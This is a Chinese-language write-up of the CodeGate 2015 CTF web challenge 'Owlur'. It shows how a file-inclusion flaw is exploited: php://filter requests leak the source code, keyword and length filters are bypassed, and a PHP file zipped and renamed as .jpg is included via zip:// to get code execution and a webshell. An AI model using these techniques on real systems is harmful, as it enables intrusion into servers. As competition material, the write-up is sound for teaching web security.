CodeGate2015 CTF - WEB200

15 Mar 2015 - evi1m0

Owlur - WEB200

Description

http://54.65.205.135/owlur/

if you use a web scanner, your IP will get banned, no bruteforce required, take it easy.

Desc

File upload success (.jpg): http://54.65.205.135/owlur/index.php?page=view&id=q9DLZgl

view-source: http://54.65.205.135/owl/duzYZc5.jpg

LFI

我们猜测 page 参数可包含文件,但当我们想要包含刚刚上传的恶意图片时,却发现 page 过滤了 http, ..关键字,导致我们无法跳到/owl/目录下进行文件包含。比如我们这样做:

页面就会返回给我们:

                 / /****-- * *\
      //(((:<<<</:*********3\X*\((<
     /XX/CXC&CGG//**/--///X*V\**..g&
(/VCC3gg0........*//X//(///V*C\*..888gg8g&3C<
(3&gG&...........*..XXX/(((/*.\*.......G/08883X<`
/(<C8 ...........*.XXXX////</..*...............3C^
   V/<^<(X88&V//((<<<<((<^<**...............X&&C
          `:/CCV/(((<<(/VVV/*..............(/C&/
           << ^^(/V33VX/VC&X*VC....:<<~<<<((X  `
           V/(/< ^ ^^:/X/((<<^^---V:~~<<(
              3&                  .^-/
              C  /\       /\        |
             /C  \/       \/       //
 PLZ STOP     3                    |\
   HACKING    C                   /5*
              V     /-----\       /
              CG  |         |  <///<
              VGV |         | ^(/X<^
               &&<  \-----/  .((<(^
                83(        .<(~`<<
                 8X`     .<<^` `((^
                B@@C<.`^^`     ^(CG&C(<.``
     CG8B$@@@@@@@@@$(          ^^(0@@@@$83X<`
   B@@@@@@@@@@@@@@@@@8/       `<C$@@@@@@@@@@$&<
  @@@@@@@@@@@@@@@$$$@@@$$0888B@@@@@@@@@@@@@@@@@V`

Please stop hacking :(

但是我们可以通过这种方式来尝试读取 index.php, view.php, upload.php的源代码:

  • http://54.65.205.135/owlur/index.php?page=php://filter/read=convert.base64-encode/resource=view
源码分析

http://ww3.sinaimg.cn/large/c334041bgw1eq6huu93caj20nn05i74h.jpg

➜  /tmp  echo -n "PD9waHAKJHBpYyA9ICRfUkVRVUVTVFsnaWQnXTsKCmlmKCRwaWMgPT0gIiIgfHwgJHBpYyA9PSAicmFuZG9tIikKewokcGljbmFtZSA9ICJwcmVsb2FkZWQtb3dscy8iIC4gcmFuZCgxLDE0KSAuICIuanBnIjsKfQoKZWxzZSAkcGljbmFtZSA9ICIvb3dsLyIgLiAkcGljIC4gIi5qcGciOwoKCgplY2hvICc8aW1nIHNyYz0iJyAuICRwaWNuYW1lIC4gJyI+JzsKCj8+Cg==" | base64 -D
<?php
$pic = $_REQUEST['id'];
if($pic == "" || $pic == "random")
{
$picname = "preloaded-owls/" . rand(1,14) . ".jpg";
}
else $picname = "/owl/" . $pic . ".jpg";
echo '<img src="' . $picname . '">';
?>
Upload.php (部分)

http://54.65.205.135/owlur/index.php?page=php://filter/read=convert.base64-encode/resource=upload

$target_dir = "/var/www/owlur/owlur-upload-zzzzzz/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid . ".jpg";

这里有个有趣的变量 $target_dir,长时候发现图片在 /owl/ 目录及 /owlur/owlur-upload-zzzzzz/ 目录均可访问,所以我们可以不用考虑 .. 的跨路径问题了;)

index.php (部分)
if(strstr($p,"..") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"http") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"ftp") !== FALSE)
die("<pre>$haq</pre>");

if(strlen($p) >= 60)
die("<pre>string > 60
$haq</pre>");

这里可以发现对 page 参数进行了三个关键字的过滤,以及长度的过滤,通过上面发现的 /owlur-upload-zzzzzz/ 路径我们可直接绕过长度的限制,但是现在又面临另外一个问题,截断。

使用 %00, ////////////////////////////////, ....................... 等截断方法均失败,最后试了下 zip 协议截断终于成功:

  1. 新建 test.php 里面编写 php 代码;
  2. 将 test.php 压缩为 test.zip 后把 zip 的名字改成 test.jpg;
  3. 上传 .jpg 上传,然后包含;

http://ww1.sinaimg.cn/large/c334041bgw1eq6im8fhpkj20kt06y0u4.jpg

phpinfo: http://54.65.205.135/owlur/index.php?page=zip://owlur-upload-zzzzzz/ITbmhwn.jpg%23test

http://ww2.sinaimg.cn/large/c334041bgw1eq6iqq1zgaj20kw08mmy6.jpg

最后我们连接 webshell 后,发现 flag 静静的躺在根目录下:

http://ww3.sinaimg.cn/large/c334041bgw1eq6irjcxrwj20m2056t95.jpg

评论插件使用 Disqus ,需翻墙才能查看及留言。